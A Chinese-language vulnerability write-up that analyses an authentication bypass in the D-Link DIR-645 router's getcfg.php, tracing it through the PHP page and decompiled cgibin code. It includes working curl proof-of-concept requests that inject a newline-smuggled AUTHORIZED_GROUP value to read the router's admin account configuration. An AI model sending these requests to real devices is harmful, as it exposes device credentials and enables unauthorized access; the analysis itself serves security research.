D-Link DIR-645 getcfg.php 权限绕过漏洞分析。
漏洞信息
漏洞编号:无
漏洞类型:权限绕过
漏洞组件:/usr/sbin/phpcgi
漏洞路由:/getcfg.php
影响范围:
- D-Link DIR-645 <= A1 1.06B01
漏洞复现
基于 D-Link DIR-645 A1 1.03B11 版本进行测试。
对于 1.02 及之前版本固件的 PoC 如下。
1
| curl -d SERVICES=DEVICE.ACCOUNT http://xx.xx.xx.xx/getcfg.php
|
对于 1.02 之后版本固件的 PoC 如下。
1
| curl -d "SERVICES=DEVICE.ACCOUNT&attack=ture%0aAUTHORIZED_GROUP=1" "http://xx.xx.xx.xx/getcfg.php"
|
执行命令,得到设备用户的用户名和密码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| $ curl -d "SERVICES=DEVICE.ACCOUNT&attack=ture%0aAUTHORIZED_GROUP=1" "http://192.168.0.1/getcfg.php" <?xml version="1.0" encoding="utf-8"?> <postxml> <module> <service>DEVICE.ACCOUNT</service> <device> <gw_name>DIR-645</gw_name> <account> <seqno></seqno> <max>2</max> <count>1</count> <entry> <uid></uid> <name>Admin</name> <usrid></usrid> <password></password> <group>0</group> <description></description> </entry> </account> <group> <seqno></seqno> <max></max> <count>0</count> </group> <session> <captcha>0</captcha> <dummy></dummy> <timeout>600</timeout> <maxsession>128</maxsession> <maxauthorized>16</maxauthorized> </session> </device> </module> </postxml>
|
漏洞分析
根据漏洞路由,查看 /htdocs/web/getcfg.php
页面的主要代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| if ($_POST["CACHE"] == "true") { echo dump(1, "/runtime/session/".$SESSION_UID."/postxml"); } else { if(is_power_user() == 1) { $SERVICE_COUNT = cut_count($_POST["SERVICES"], ","); TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]); $SERVICE_INDEX = 0; while ($SERVICE_INDEX < $SERVICE_COUNT) { $GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ","); TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC); if ($GETCFG_SVC!="") { $file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php"; if (isfile($file)=="1") dophp("load", $file); } $SERVICE_INDEX++; } } else { echo "\t<result>FAILED</result>\n"; echo "\t<message>Not authorized</message>\n"; } } ?></postxml>
|
页面调用 is_power_user
函数对当前请求的权限进行验证,通过后根据 SERVICES
参数的值读取 /htdocs/webinc/getcfg/
目录下的文件内容。
在 /htdocs/webinc/getcfg/
目录下有许多配置文件,其中 DEVICE.ACCOUNT.xml.php
便可以读取设备的账号信息。
页面权限的验证方式为当 AUTHORIZED_GROUP
全局变量的值是为空或者为 “0” 时,表示验证失败,否则表示验证成功。
1 2 3 4 5 6 7 8 9 10 11 12
| function is_power_user() { if($_GLOBALS["AUTHORIZED_GROUP"] == "") { return 0; } if($_GLOBALS["AUTHORIZED_GROUP"] < 0) { return 0; } return 1; }
|
经过全局字符串搜索,猜测全局变量在负责 php 文件请求的 /usr/sbin/phpcgi
文件中进行处理。
1 2
| $ ls -l usr/sbin/phpcgi lrwxrwxrwx 1 person person 14 Oct 22 01:47 usr/sbin/phpcgi -> /htdocs/cgibin
|
查看 cgibin 文件的 main
函数可知,phpcgi 文件由 phpcgi_main
函数负责处理。
1 2 3 4 5 6
| if ( !strcmp(v3, "phpcgi") ) { v8 = phpcgi_main; v9 = argc; return ((int (__fastcall *)(int, const char **, const char **))v8)(v9, argv, envp); }
|
在 phpcgi_main
函数中,根据请求方式的不同,将选择不同的解析函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| req_method = getenv("REQUEST_METHOD"); req_method_1 = req_method; if ( !req_method ) goto LABEL_20; if ( !strcasecmp(req_method, "HEAD") || !strcasecmp(req_method_1, "GET") ) { parser = t_get_parser; goto LABEL_13; } if ( strcasecmp(req_method_1, "POST") ) { LABEL_20: v5 = -1; goto LABEL_21; } parser = t_post_parser;
|
程序调用 cgibin_parse_request
函数对 HTTP 请求的内容进行解析,最终将解析后的参数交给 PHP 页面进行处理。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| v5 = cgibin_parse_request(parser, req_args_1, 0x80000); if ( v5 >= 0 ) { v13 = sess_validate(); sprintf(auth_group, "AUTHORIZED_GROUP=%d", v13); sobj_add_string(req_args_1, auth_group); sobj_add_char(req_args_1, '\n'); sobj_add_string(req_args_1, "SESSION_UID="); sess_get_uid(req_args_1); sobj_add_char(req_args_1, '\n'); string = sobj_get_string(req_args_1); v5 = xmldbc_ephp(0, 0, string, stdout); } else if ( v5 == -100 ) { v12 = fopen("/htdocs/web/info.php", "r"); if ( v12 ) { fclose(v12); cgibin_print_http_resp(1, "/info.php", "FAIL", "ERR_REQ_TOO_LONG"); } } else { cgibin_print_http_status(400, "unsupported HTTP request", "unsupported HTTP request"); }
|
请求解析完成之后,程序将根据 Session 的有效性,设置 AUTHORIZED_GROUP
和 SESSION_UID
参数的值。
分析请求解析函数可知,程序以 &
作为分隔符对 Post 请求中的数据进行解析,然后使用 \n
作为分隔符对解析后的参数进行存储,存储的参数名称为 _POST_XXXX
格式。
1 2 3 4 5 6 7 8 9 10 11 12
| else { sobj_add_string(req_args, "_POST_"); v5 = sobj_get_string(a2[1]); sobj_add_string(req_args, v5); sobj_add_char(req_args, '='); v6 = a2[2]; } v11 = (void **)sobj_get_string(v6); LABEL_11: sobj_add_string(req_args, v11); return sobj_add_char(req_args, '\n');
|
因此,当 Post 请求数据中有 A=a%0aAUTHORIZED_GROUP=1
参数时,将会被解析成 _POST_A=a\nAUTHORIZED_GROUP=1
形式的数据。
由于在参数列表中,解析数据比最终的权限校验数据位置靠前,所以导致 PHP 读取所需参数时,先得到伪造的校验数据,而非正确的校验数据。从而实现权限认证的绕过。
漏洞利用
根据漏洞分析,构造绕过权限认证的 Post 数据。
1
| SERVICES=DEVICE.ACCOUNT&A=a%0aAUTHORIZED_GROUP=1
|
读取设备的账号信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| $ curl -d "SERVICES=DEVICE.ACCOUNT&A=a%0aAUTHORIZED_GROUP=1" "http://192.168.0.1/getcfg.php" <?xml version="1.0" encoding="utf-8"?> <postxml> <module> <service>DEVICE.ACCOUNT</service> <device> <gw_name>DIR-645</gw_name> <account> <seqno></seqno> <max>2</max> <count>1</count> <entry> <uid></uid> <name>Admin</name> <usrid></usrid> <password></password> <group>0</group> <description></description> </entry> </account> <group> <seqno></seqno> <max></max> <count>0</count> </group> <session> <captcha>0</captcha> <dummy></dummy> <timeout>600</timeout> <maxsession>128</maxsession> <maxauthorized>16</maxauthorized> </session> </device> </module> </postxml>
|
参考链接
Dlink getcfg.php远程敏感信息读取漏洞分析 - 先知社区